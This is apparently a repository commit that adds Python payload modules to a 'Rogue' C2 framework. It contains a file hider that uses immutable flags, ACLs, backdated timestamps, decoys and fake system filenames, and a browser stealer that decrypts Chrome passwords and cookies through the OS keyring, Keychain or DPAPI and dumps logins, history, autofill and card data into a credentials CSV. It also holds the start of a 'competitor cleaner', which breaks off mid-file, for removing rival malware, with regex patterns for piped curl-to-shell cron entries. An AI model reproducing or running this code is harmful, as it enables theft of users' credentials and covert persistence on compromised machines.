forked from ek0mssavi0r/Rogue
Upload files to "/"
This commit is contained in:
parent
4ca9a7854d
commit
06ef40f444
185
advanced_filehider.py
Normal file
185
advanced_filehider.py
Normal file
|
|
@ -0,0 +1,185 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Advanced File Hiding
|
||||||
|
DESCRIPTION: Hide files using multiple methods (extended attributes, ACLs, etc.)
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.0
|
||||||
|
"""
|
||||||
|
import os, subprocess, stat, time, random, string, hashlib, json
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class AdvancedFileHider:
|
||||||
|
def __init__(self, hidden_dir=None):
|
||||||
|
self.hidden_dir = hidden_dir or os.path.expanduser("~/.cache/.rogue")
|
||||||
|
self.hidden_files = []
|
||||||
|
|
||||||
|
def hide_with_extended_attributes(self):
|
||||||
|
"""Hide files using extended attributes"""
|
||||||
|
try:
|
||||||
|
for root, dirs, files in os.walk(self.hidden_dir):
|
||||||
|
for file in files:
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
|
||||||
|
# Set immutable flag (chattr +i)
|
||||||
|
subprocess.call(f'chattr +i "{filepath}" 2>/dev/null', shell=True)
|
||||||
|
|
||||||
|
# Set hidden extended attribute
|
||||||
|
subprocess.call(f'setfattr -n user.hidden -v 1 "{filepath}" 2>/dev/null', shell=True)
|
||||||
|
|
||||||
|
# Set creation date to past
|
||||||
|
past_time = time.time() - (365 * 24 * 60 * 60) # 1 year ago
|
||||||
|
os.utime(filepath, (past_time, past_time))
|
||||||
|
|
||||||
|
self.hidden_files.append({
|
||||||
|
'path': filepath,
|
||||||
|
'method': 'extended_attrs',
|
||||||
|
'timestamp': datetime.now().isoformat()
|
||||||
|
})
|
||||||
|
|
||||||
|
return f"[+] Applied extended attributes to {len(self.hidden_files)} files"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Extended attribute hiding failed: {e}"
|
||||||
|
|
||||||
|
def hide_with_acls(self):
|
||||||
|
"""Hide files using Access Control Lists"""
|
||||||
|
try:
|
||||||
|
for root, dirs, files in os.walk(self.hidden_dir):
|
||||||
|
for file in files:
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
|
||||||
|
# Remove read permissions for 'other'
|
||||||
|
os.chmod(filepath, stat.S_IRUSR | stat.S_IWUSR)
|
||||||
|
|
||||||
|
# Set ACL to hide from certain users
|
||||||
|
subprocess.call(f'setfacl -m u:nobody:--- "{filepath}" 2>/dev/null', shell=True)
|
||||||
|
subprocess.call(f'setfacl -m g:nogroup:--- "{filepath}" 2>/dev/null', shell=True)
|
||||||
|
|
||||||
|
self.hidden_files.append({
|
||||||
|
'path': filepath,
|
||||||
|
'method': 'acls',
|
||||||
|
'timestamp': datetime.now().isoformat()
|
||||||
|
})
|
||||||
|
|
||||||
|
return f"[+] Applied ACL restrictions to {len(self.hidden_files)} files"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] ACL hiding failed: {e}"
|
||||||
|
|
||||||
|
def create_decoy_files(self):
|
||||||
|
"""Create legitimate-looking decoy files"""
|
||||||
|
decoys = [
|
||||||
|
('system_logs.tar.gz', 'Compressed system logs'),
|
||||||
|
('kernel_backup.bin', 'Kernel backup file'),
|
||||||
|
('config_backup.tar', 'Configuration backup'),
|
||||||
|
('tmp_cache.dat', 'Temporary cache file')
|
||||||
|
]
|
||||||
|
|
||||||
|
try:
|
||||||
|
decoy_dir = os.path.join(self.hidden_dir, ".decoy")
|
||||||
|
os.makedirs(decoy_dir, exist_ok=True)
|
||||||
|
|
||||||
|
for filename, content in decoys:
|
||||||
|
filepath = os.path.join(decoy_dir, filename)
|
||||||
|
with open(filepath, 'w') as f:
|
||||||
|
f.write(f"# {content}\n")
|
||||||
|
f.write("# Generated: " + datetime.now().isoformat() + "\n")
|
||||||
|
f.write("# " + "="*50 + "\n")
|
||||||
|
f.write("# This appears to be a legitimate system file\n")
|
||||||
|
|
||||||
|
# Make them look old
|
||||||
|
old_time = time.time() - (random.randint(30, 180) * 24 * 60 * 60)
|
||||||
|
os.utime(filepath, (old_time, old_time))
|
||||||
|
|
||||||
|
self.hidden_files.append({
|
||||||
|
'path': filepath,
|
||||||
|
'method': 'decoy',
|
||||||
|
'timestamp': datetime.now().isoformat()
|
||||||
|
})
|
||||||
|
|
||||||
|
return f"[+] Created {len(decoys)} decoy files"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Decoy creation failed: {e}"
|
||||||
|
|
||||||
|
def obfuscate_filenames(self):
|
||||||
|
"""Obfuscate file names to look like system files"""
|
||||||
|
try:
|
||||||
|
system_like_names = [
|
||||||
|
'libc-2.31.so',
|
||||||
|
'ld-linux-x86-64.so.2',
|
||||||
|
'modules.alias.bin',
|
||||||
|
'initrd.img',
|
||||||
|
'vmlinuz',
|
||||||
|
'systemd-journald',
|
||||||
|
'dbus-daemon',
|
||||||
|
'NetworkManager'
|
||||||
|
]
|
||||||
|
|
||||||
|
file_map = {}
|
||||||
|
for root, dirs, files in os.walk(self.hidden_dir):
|
||||||
|
for file in files:
|
||||||
|
if file.endswith('.py') or file.endswith('.log'):
|
||||||
|
old_path = os.path.join(root, file)
|
||||||
|
new_name = random.choice(system_like_names)
|
||||||
|
new_path = os.path.join(root, new_name)
|
||||||
|
|
||||||
|
os.rename(old_path, new_path)
|
||||||
|
file_map[old_path] = new_path
|
||||||
|
|
||||||
|
self.hidden_files.append({
|
||||||
|
'old_path': old_path,
|
||||||
|
'new_path': new_path,
|
||||||
|
'method': 'obfuscation',
|
||||||
|
'timestamp': datetime.now().isoformat()
|
||||||
|
})
|
||||||
|
|
||||||
|
# Save mapping for recovery
|
||||||
|
map_file = os.path.join(self.hidden_dir, ".filemap.json")
|
||||||
|
with open(map_file, 'w') as f:
|
||||||
|
json.dump(file_map, f, indent=2)
|
||||||
|
|
||||||
|
# Hide the map file
|
||||||
|
subprocess.call(f'chattr +i "{map_file}" 2>/dev/null', shell=True)
|
||||||
|
|
||||||
|
return f"[+] Obfuscated {len(file_map)} filenames"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Filename obfuscation failed: {e}"
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""Execute all hiding techniques"""
|
||||||
|
try:
|
||||||
|
print("[+] Starting advanced file hiding operations...")
|
||||||
|
|
||||||
|
results = []
|
||||||
|
results.append(self.hide_with_extended_attributes())
|
||||||
|
results.append(self.hide_with_acls())
|
||||||
|
results.append(self.create_decoy_files())
|
||||||
|
results.append(self.obfuscate_filenames())
|
||||||
|
|
||||||
|
# Save hiding report
|
||||||
|
report_file = os.path.join(self.hidden_dir, ".hiding_report.json")
|
||||||
|
with open(report_file, 'w') as f:
|
||||||
|
json.dump({
|
||||||
|
'hidden_files': self.hidden_files,
|
||||||
|
'timestamp': datetime.now().isoformat(),
|
||||||
|
'total_files': len(self.hidden_files)
|
||||||
|
}, f, indent=2)
|
||||||
|
|
||||||
|
# Hide the report
|
||||||
|
subprocess.call(f'chattr +i "{report_file}" 2>/dev/null', shell=True)
|
||||||
|
|
||||||
|
return "\n".join(results)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Advanced file hiding failed: {e}"
|
||||||
|
|
||||||
|
# === Integration with Rogue C2 ===
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
hider = AdvancedFileHider()
|
||||||
|
return hider.execute()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(rogue_integration())
|
||||||
458
browserstealer.py
Normal file
458
browserstealer.py
Normal file
|
|
@ -0,0 +1,458 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Browser Data Extraction Module
|
||||||
|
DESCRIPTION: Extract credentials, cookies, history, and bookmarks from browsers
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 3.0
|
||||||
|
SECURITY: This tool extracts sensitive browser data - Use only on authorized systems
|
||||||
|
"""
|
||||||
|
import os, sys, json, sqlite3, base64, hashlib, datetime, shutil, tempfile, re, platform
|
||||||
|
import struct, lz4.block, keyring, win32crypt, Crypto.Cipher.AES
|
||||||
|
from pathlib import Path
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
import subprocess, glob, zipfile, tarfile
|
||||||
|
|
||||||
|
class BrowserStealer:
|
||||||
|
def __init__(self):
|
||||||
|
self.results = {
|
||||||
|
"firefox": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
|
||||||
|
"chrome": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
|
||||||
|
"edge": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
|
||||||
|
"brave": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []},
|
||||||
|
"safari": {"profiles": [], "credentials": [], "cookies": [], "history": [], "bookmarks": []}
|
||||||
|
}
|
||||||
|
|
||||||
|
def find_browser_profiles(self):
|
||||||
|
"""Locate browser profiles on the system"""
|
||||||
|
browsers = {}
|
||||||
|
|
||||||
|
# Common browser profile locations
|
||||||
|
profile_paths = {
|
||||||
|
"firefox": [
|
||||||
|
"~/.mozilla/firefox/",
|
||||||
|
"~/snap/firefox/common/.mozilla/firefox/",
|
||||||
|
"/root/.mozilla/firefox/"
|
||||||
|
],
|
||||||
|
"chrome": [
|
||||||
|
"~/.config/google-chrome/",
|
||||||
|
"~/.config/chromium/",
|
||||||
|
"~/snap/chromium/common/chromium/",
|
||||||
|
"/root/.config/google-chrome/"
|
||||||
|
],
|
||||||
|
"edge": [
|
||||||
|
"~/.config/microsoft-edge/",
|
||||||
|
"~/snap/microsoft-edge/common/microsoft-edge/"
|
||||||
|
],
|
||||||
|
"brave": [
|
||||||
|
"~/.config/BraveSoftware/Brave-Browser/",
|
||||||
|
"~/snap/brave/common/BraveSoftware/Brave-Browser/"
|
||||||
|
],
|
||||||
|
"safari": [
|
||||||
|
"~/Library/Safari/",
|
||||||
|
"/Library/Safari/"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
for browser, paths in profile_paths.items():
|
||||||
|
for path_pattern in paths:
|
||||||
|
expanded_path = os.path.expanduser(path_pattern)
|
||||||
|
if os.path.exists(expanded_path):
|
||||||
|
if browser not in browsers:
|
||||||
|
browsers[browser] = []
|
||||||
|
browsers[browser].append(expanded_path)
|
||||||
|
|
||||||
|
return browsers
|
||||||
|
|
||||||
|
def extract_firefox_data(self, profile_path):
|
||||||
|
"""Extract all data from Firefox profile"""
|
||||||
|
firefox_data = {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
profile_name = os.path.basename(profile_path.rstrip('/'))
|
||||||
|
firefox_data["profile_name"] = profile_name
|
||||||
|
|
||||||
|
# Extract logins (encrypted)
|
||||||
|
logins_file = os.path.join(profile_path, "logins.json")
|
||||||
|
if os.path.exists(logins_file):
|
||||||
|
with open(logins_file, 'r') as f:
|
||||||
|
logins = json.load(f)
|
||||||
|
firefox_data["logins"] = logins.get("logins", [])
|
||||||
|
|
||||||
|
# Extract cookies
|
||||||
|
cookies_file = os.path.join(profile_path, "cookies.sqlite")
|
||||||
|
if os.path.exists(cookies_file):
|
||||||
|
cookies = self.read_sqlite_db(cookies_file, "moz_cookies", ["host", "name", "value", "path", "expiry"])
|
||||||
|
firefox_data["cookies"] = cookies[:50] # Limit to 50
|
||||||
|
|
||||||
|
# Extract history
|
||||||
|
places_file = os.path.join(profile_path, "places.sqlite")
|
||||||
|
if os.path.exists(places_file):
|
||||||
|
history = self.read_sqlite_db(places_file, "moz_places",
|
||||||
|
["url", "title", "visit_count", "last_visit_date"])
|
||||||
|
firefox_data["history"] = history[:100] # Limit to 100
|
||||||
|
|
||||||
|
# Extract bookmarks
|
||||||
|
if os.path.exists(places_file):
|
||||||
|
bookmarks = self.read_sqlite_db(places_file, "moz_bookmarks",
|
||||||
|
["title", "dateAdded", "lastModified"])
|
||||||
|
firefox_data["bookmarks"] = bookmarks[:50]
|
||||||
|
|
||||||
|
# Extract form history
|
||||||
|
formhistory_file = os.path.join(profile_path, "formhistory.sqlite")
|
||||||
|
if os.path.exists(formhistory_file):
|
||||||
|
forms = self.read_sqlite_db(formhistory_file, "moz_formhistory",
|
||||||
|
["fieldname", "value", "timesUsed"])
|
||||||
|
firefox_data["form_history"] = forms[:50]
|
||||||
|
|
||||||
|
# Extract saved credit cards
|
||||||
|
addons_file = os.path.join(profile_path, "addons.json")
|
||||||
|
if os.path.exists(addons_file):
|
||||||
|
with open(addons_file, 'r') as f:
|
||||||
|
addons = json.load(f)
|
||||||
|
firefox_data["addons"] = addons.get("addons", [])[:20]
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
firefox_data["error"] = str(e)
|
||||||
|
|
||||||
|
return firefox_data
|
||||||
|
|
||||||
|
def extract_chrome_data(self, profile_path):
|
||||||
|
"""Extract all data from Chrome/Chromium profile"""
|
||||||
|
chrome_data = {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
profile_name = os.path.basename(profile_path.rstrip('/'))
|
||||||
|
chrome_data["profile_name"] = profile_name
|
||||||
|
|
||||||
|
# Extract login data (encrypted passwords)
|
||||||
|
login_data_file = os.path.join(profile_path, "Login Data")
|
||||||
|
if os.path.exists(login_data_file):
|
||||||
|
temp_db = self.copy_and_read_db(login_data_file)
|
||||||
|
if temp_db:
|
||||||
|
query = """
|
||||||
|
SELECT origin_url, username_value, password_value, date_created
|
||||||
|
FROM logins
|
||||||
|
ORDER BY date_created DESC
|
||||||
|
LIMIT 50
|
||||||
|
"""
|
||||||
|
logins = self.execute_sql_query(temp_db, query)
|
||||||
|
|
||||||
|
# Try to decrypt passwords
|
||||||
|
for login in logins:
|
||||||
|
if login.get("password_value"):
|
||||||
|
try:
|
||||||
|
decrypted = self.decrypt_chrome_password(login["password_value"])
|
||||||
|
login["password_decrypted"] = decrypted
|
||||||
|
except:
|
||||||
|
login["password_decrypted"] = "<encrypted>"
|
||||||
|
|
||||||
|
chrome_data["logins"] = logins
|
||||||
|
os.unlink(temp_db)
|
||||||
|
|
||||||
|
# Extract cookies
|
||||||
|
cookies_file = os.path.join(profile_path, "Cookies")
|
||||||
|
if os.path.exists(cookies_file):
|
||||||
|
temp_db = self.copy_and_read_db(cookies_file)
|
||||||
|
if temp_db:
|
||||||
|
query = """
|
||||||
|
SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly
|
||||||
|
FROM cookies
|
||||||
|
ORDER BY host_key
|
||||||
|
LIMIT 100
|
||||||
|
"""
|
||||||
|
|
||||||
|
cookies = self.execute_sql_query(temp_db, query)
|
||||||
|
|
||||||
|
# Try to decrypt encrypted cookies
|
||||||
|
for cookie in cookies:
|
||||||
|
if cookie.get("value"):
|
||||||
|
try:
|
||||||
|
decrypted = self.decrypt_chrome_cookie(cookie["value"])
|
||||||
|
cookie["value_decrypted"] = decrypted
|
||||||
|
except:
|
||||||
|
cookie["value_decrypted"] = cookie["value"]
|
||||||
|
|
||||||
|
chrome_data["cookies"] = cookies
|
||||||
|
os.unlink(temp_db)
|
||||||
|
|
||||||
|
# Extract history
|
||||||
|
history_file = os.path.join(profile_path, "History")
|
||||||
|
if os.path.exists(history_file):
|
||||||
|
temp_db = self.copy_and_read_db(history_file)
|
||||||
|
if temp_db:
|
||||||
|
queries = {
|
||||||
|
"urls": "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 100",
|
||||||
|
"downloads": "SELECT target_path, start_time, end_time, received_bytes FROM downloads LIMIT 20",
|
||||||
|
"keyword_search": "SELECT term, normalized_term FROM keyword_search_terms LIMIT 20"
|
||||||
|
}
|
||||||
|
|
||||||
|
for key, query in queries.items():
|
||||||
|
results = self.execute_sql_query(temp_db, query)
|
||||||
|
chrome_data[key] = results
|
||||||
|
|
||||||
|
os.unlink(temp_db)
|
||||||
|
|
||||||
|
# Extract bookmarks
|
||||||
|
bookmarks_file = os.path.join(profile_path, "Bookmarks")
|
||||||
|
if os.path.exists(bookmarks_file):
|
||||||
|
with open(bookmarks_file, 'r', encoding='utf-8') as f:
|
||||||
|
bookmarks = json.load(f)
|
||||||
|
chrome_data["bookmarks_raw"] = bookmarks
|
||||||
|
|
||||||
|
# Extract autofill data
|
||||||
|
web_data_file = os.path.join(profile_path, "Web Data")
|
||||||
|
if os.path.exists(web_data_file):
|
||||||
|
temp_db = self.copy_and_read_db(web_data_file)
|
||||||
|
if temp_db:
|
||||||
|
queries = {
|
||||||
|
"autofill": "SELECT name, value, date_created FROM autofill LIMIT 50",
|
||||||
|
"credit_cards": "SELECT name_on_card, expiration_month, expiration_year FROM credit_cards LIMIT 20"
|
||||||
|
}
|
||||||
|
|
||||||
|
for key, query in queries.items():
|
||||||
|
results = self.execute_sql_query(temp_db, query)
|
||||||
|
chrome_data[key] = results
|
||||||
|
|
||||||
|
os.unlink(temp_db)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
chrome_data["error"] = str(e)
|
||||||
|
|
||||||
|
return chrome_data
|
||||||
|
|
||||||
|
def decrypt_chrome_password(self, encrypted_password):
|
||||||
|
"""Decrypt Chrome password using system keyring"""
|
||||||
|
try:
|
||||||
|
if platform.system() == "Linux":
|
||||||
|
# Linux uses Gnome Keyring or KWallet
|
||||||
|
import secretstorage
|
||||||
|
|
||||||
|
connection = secretstorage.dbus_init()
|
||||||
|
collection = secretstorage.get_default_collection(connection)
|
||||||
|
|
||||||
|
for item in collection.get_all_items():
|
||||||
|
if item.get_label() == "Chrome Safe Storage":
|
||||||
|
key = item.get_secret()
|
||||||
|
break
|
||||||
|
|
||||||
|
if key:
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16)
|
||||||
|
decrypted = cipher.decrypt(encrypted_password[3:])
|
||||||
|
return decrypted.decode('utf-8').rstrip('\x00')
|
||||||
|
|
||||||
|
elif platform.system() == "Darwin": # macOS
|
||||||
|
# macOS Keychain access
|
||||||
|
import keyring
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
# Get encryption key from Keychain
|
||||||
|
cmd = ['security', 'find-generic-password', '-w', '-s', 'Chrome Safe Storage']
|
||||||
|
key = subprocess.check_output(cmd).strip()
|
||||||
|
|
||||||
|
if key:
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, IV=b' ' * 16)
|
||||||
|
decrypted = cipher.decrypt(encrypted_password[3:])
|
||||||
|
return decrypted.decode('utf-8').rstrip('\x00')
|
||||||
|
|
||||||
|
elif platform.system() == "Windows":
|
||||||
|
# Windows DPAPI
|
||||||
|
import win32crypt
|
||||||
|
|
||||||
|
decrypted = win32crypt.CryptUnprotectData(
|
||||||
|
encrypted_password,
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
return decrypted[1].decode('utf-8')
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"<decryption failed: {str(e)[:50]}>"
|
||||||
|
|
||||||
|
return "<encrypted>"
|
||||||
|
|
||||||
|
def decrypt_chrome_cookie(self, encrypted_value):
|
||||||
|
"""Decrypt Chrome cookie value"""
|
||||||
|
# Similar to password decryption
|
||||||
|
return self.decrypt_chrome_password(encrypted_value)
|
||||||
|
|
||||||
|
def copy_and_read_db(self, db_path):
|
||||||
|
"""Copy SQLite database to temp location and read"""
|
||||||
|
try:
|
||||||
|
temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name
|
||||||
|
shutil.copy2(db_path, temp_db)
|
||||||
|
return temp_db
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error copying database: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def read_sqlite_db(self, db_path, table, columns):
|
||||||
|
"""Read data from SQLite database"""
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
columns_str = ', '.join(columns)
|
||||||
|
query = f"SELECT {columns_str} FROM {table} LIMIT 100"
|
||||||
|
|
||||||
|
cursor.execute(query)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
result = []
|
||||||
|
for row in rows:
|
||||||
|
row_dict = {}
|
||||||
|
for i, col in enumerate(columns):
|
||||||
|
row_dict[col] = row[i]
|
||||||
|
result.append(row_dict)
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
return result
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return [{"error": str(e)}]
|
||||||
|
|
||||||
|
def execute_sql_query(self, db_path, query):
|
||||||
|
"""Execute SQL query on database"""
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute(query)
|
||||||
|
|
||||||
|
columns = [description[0] for description in cursor.description]
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
result = []
|
||||||
|
for row in rows:
|
||||||
|
row_dict = {}
|
||||||
|
for i, col in enumerate(columns):
|
||||||
|
row_dict[col] = row[i]
|
||||||
|
result.append(row_dict)
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
return result
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return [{"error": str(e)}]
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""Execute browser data extraction"""
|
||||||
|
try:
|
||||||
|
print("[+] Starting browser data extraction...")
|
||||||
|
|
||||||
|
# Find browser profiles
|
||||||
|
browsers = self.find_browser_profiles()
|
||||||
|
print(f"[+] Found browsers: {list(browsers.keys())}")
|
||||||
|
|
||||||
|
# Extract data from each browser
|
||||||
|
for browser, paths in browsers.items():
|
||||||
|
print(f"[+] Processing {browser}...")
|
||||||
|
|
||||||
|
for profile_path in paths:
|
||||||
|
if browser == "firefox":
|
||||||
|
# Firefox profiles are directories within the main path
|
||||||
|
if os.path.isdir(profile_path):
|
||||||
|
for profile_dir in os.listdir(profile_path):
|
||||||
|
full_path = os.path.join(profile_path, profile_dir)
|
||||||
|
if os.path.isdir(full_path):
|
||||||
|
data = self.extract_firefox_data(full_path)
|
||||||
|
self.results["firefox"]["profiles"].append(data)
|
||||||
|
|
||||||
|
elif browser in ["chrome", "edge", "brave"]:
|
||||||
|
# Chrome-based browsers
|
||||||
|
if os.path.isdir(profile_path):
|
||||||
|
data = self.extract_chrome_data(profile_path)
|
||||||
|
self.results[browser]["profiles"].append(data)
|
||||||
|
|
||||||
|
# Generate summary
|
||||||
|
summary = {
|
||||||
|
"timestamp": datetime.datetime.now().isoformat(),
|
||||||
|
"extraction_summary": {
|
||||||
|
"firefox_profiles": len(self.results["firefox"]["profiles"]),
|
||||||
|
"chrome_profiles": len(self.results["chrome"]["profiles"]),
|
||||||
|
"edge_profiles": len(self.results["edge"]["profiles"]),
|
||||||
|
"brave_profiles": len(self.results["brave"]["profiles"])
|
||||||
|
},
|
||||||
|
"total_credentials": sum(
|
||||||
|
len(p.get("logins", []))
|
||||||
|
for p in self.results["firefox"]["profiles"] +
|
||||||
|
self.results["chrome"]["profiles"] +
|
||||||
|
self.results["edge"]["profiles"] +
|
||||||
|
self.results["brave"]["profiles"]
|
||||||
|
),
|
||||||
|
"total_cookies": sum(
|
||||||
|
len(p.get("cookies", []))
|
||||||
|
for p in self.results["firefox"]["profiles"] +
|
||||||
|
self.results["chrome"]["profiles"] +
|
||||||
|
self.results["edge"]["profiles"] +
|
||||||
|
self.results["brave"]["profiles"]
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save results
|
||||||
|
output_dir = os.path.expanduser("~/.cache/.rogue/browser_data")
|
||||||
|
os.makedirs(output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
output_file = os.path.join(output_dir, f"browser_data_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json")
|
||||||
|
with open(output_file, 'w') as f:
|
||||||
|
json.dump(self.results, f, indent=2, default=str)
|
||||||
|
|
||||||
|
# Also create a condensed CSV of credentials
|
||||||
|
csv_file = os.path.join(output_dir, f"credentials_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.csv")
|
||||||
|
self.create_credentials_csv(csv_file)
|
||||||
|
|
||||||
|
print(f"[+] Browser data extraction complete.")
|
||||||
|
print(f"[+] Detailed results saved to: {output_file}")
|
||||||
|
print(f"[+] Credentials CSV saved to: {csv_file}")
|
||||||
|
|
||||||
|
return json.dumps(summary, indent=2)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Browser data extraction failed: {str(e)}"
|
||||||
|
|
||||||
|
def create_credentials_csv(self, csv_file):
|
||||||
|
"""Create CSV file of extracted credentials"""
|
||||||
|
try:
|
||||||
|
import csv
|
||||||
|
|
||||||
|
with open(csv_file, 'w', newline='', encoding='utf-8') as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow(['Browser', 'Profile', 'URL', 'Username', 'Password', 'Date'])
|
||||||
|
|
||||||
|
for browser in ['firefox', 'chrome', 'edge', 'brave']:
|
||||||
|
for profile in self.results[browser]["profiles"]:
|
||||||
|
profile_name = profile.get("profile_name", "Unknown")
|
||||||
|
|
||||||
|
# Firefox logins
|
||||||
|
for login in profile.get("logins", []):
|
||||||
|
writer.writerow([
|
||||||
|
browser.capitalize(),
|
||||||
|
profile_name,
|
||||||
|
login.get("hostname", ""),
|
||||||
|
login.get("encryptedUsername", ""),
|
||||||
|
login.get("encryptedPassword", ""),
|
||||||
|
login.get("timeCreated", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
# Chrome logins
|
||||||
|
for login in profile.get("logins", []):
|
||||||
|
writer.writerow([
|
||||||
|
browser.capitalize(),
|
||||||
|
profile_name,
|
||||||
|
login.get("origin_url", ""),
|
||||||
|
login.get("username_value", ""),
|
||||||
|
login.get("password_decrypted", login.get("password_value", "")),
|
||||||
|
login.get("date_created", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error creating CSV: {e}")
|
||||||
|
|
||||||
|
# === Integration with Rogue C2 ===
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
stealer = BrowserStealer()
|
||||||
|
return stealer.execute()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(rogue_integration())
|
||||||
274
competitor_cleaner.py
Normal file
274
competitor_cleaner.py
Normal file
|
|
@ -0,0 +1,274 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Competitor/Malware Cleaner
|
||||||
|
DESCRIPTION: Remove other botnets/malware from system
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 1.0
|
||||||
|
"""
|
||||||
|
import os, re, subprocess, json, time, hashlib, psutil, shutil
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class CompetitorCleaner:
|
||||||
|
def __init__(self):
|
||||||
|
self.removed_items = []
|
||||||
|
self.suspicious_patterns = {
|
||||||
|
'process_names': [
|
||||||
|
'minerd', 'cpuminer', 'xmrig', 'ccminer', 'ethminer',
|
||||||
|
'javaupd', 'javaw', 'svchost', 'lsass', 'smss',
|
||||||
|
'systemd-network', 'systemd-resolve',
|
||||||
|
'kthreadd', 'kworker', 'migration',
|
||||||
|
],
|
||||||
|
'file_paths': [
|
||||||
|
'/tmp/.*\.sh', '/dev/shm/.*',
|
||||||
|
'/var/tmp/.*', '/tmp/.*\.elf',
|
||||||
|
'\.cache/.*miner', '\.config/.*bot',
|
||||||
|
'/opt/.*malware', '/usr/lib/.*backdoor',
|
||||||
|
],
|
||||||
|
'network_ports': [
|
||||||
|
3333, 4444, 5555, 6666, 7777, 8888, 9999,
|
||||||
|
13333, 14444, 15555, 16666, 17777, 18888, 19999,
|
||||||
|
33333, 44444, 55555, 66666, 77777, 88888, 99999,
|
||||||
|
],
|
||||||
|
'cron_patterns': [
|
||||||
|
r'curl.*\|.*sh',
|
||||||
|
r'wget.*-O.*\.sh',
|
||||||
|
r'python.*http',
|
||||||
|
r'perl.*-e',
|
||||||
|
r'bash.*<\(curl',
|
||||||
|
r'base64.*decode',
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
def scan_processes(self):
|
||||||
|
"""Scan for suspicious processes"""
|
||||||
|
suspicious = []
|
||||||
|
|
||||||
|
for proc in psutil.process_iter(['pid', 'name', 'cmdline', 'username']):
|
||||||
|
try:
|
||||||
|
pinfo = proc.info
|
||||||
|
cmdline = ' '.join(pinfo['cmdline']) if pinfo['cmdline'] else ''
|
||||||
|
|
||||||
|
# Check process name patterns
|
||||||
|
for pattern in self.suspicious_patterns['process_names']:
|
||||||
|
if re.search(pattern, pinfo['name'], re.I) or re.search(pattern, cmdline, re.I):
|
||||||
|
suspicious.append({
|
||||||
|
'pid': pinfo['pid'],
|
||||||
|
'name': pinfo['name'],
|
||||||
|
'cmdline': cmdline[:200],
|
||||||
|
'user': pinfo['username'],
|
||||||
|
'reason': f'Matches pattern: {pattern}'
|
||||||
|
})
|
||||||
|
break
|
||||||
|
|
||||||
|
# Check for crypto miners
|
||||||
|
miner_keywords = ['miner', 'pool', 'stratum', 'hashrate', 'xmrig', 'cpuminer']
|
||||||
|
if any(keyword in cmdline.lower() for keyword in miner_keywords):
|
||||||
|
suspicious.append({
|
||||||
|
'pid': pinfo['pid'],
|
||||||
|
'name': pinfo['name'],
|
||||||
|
'cmdline': cmdline[:200],
|
||||||
|
'user': pinfo['username'],
|
||||||
|
'reason': 'Crypto miner detected'
|
||||||
|
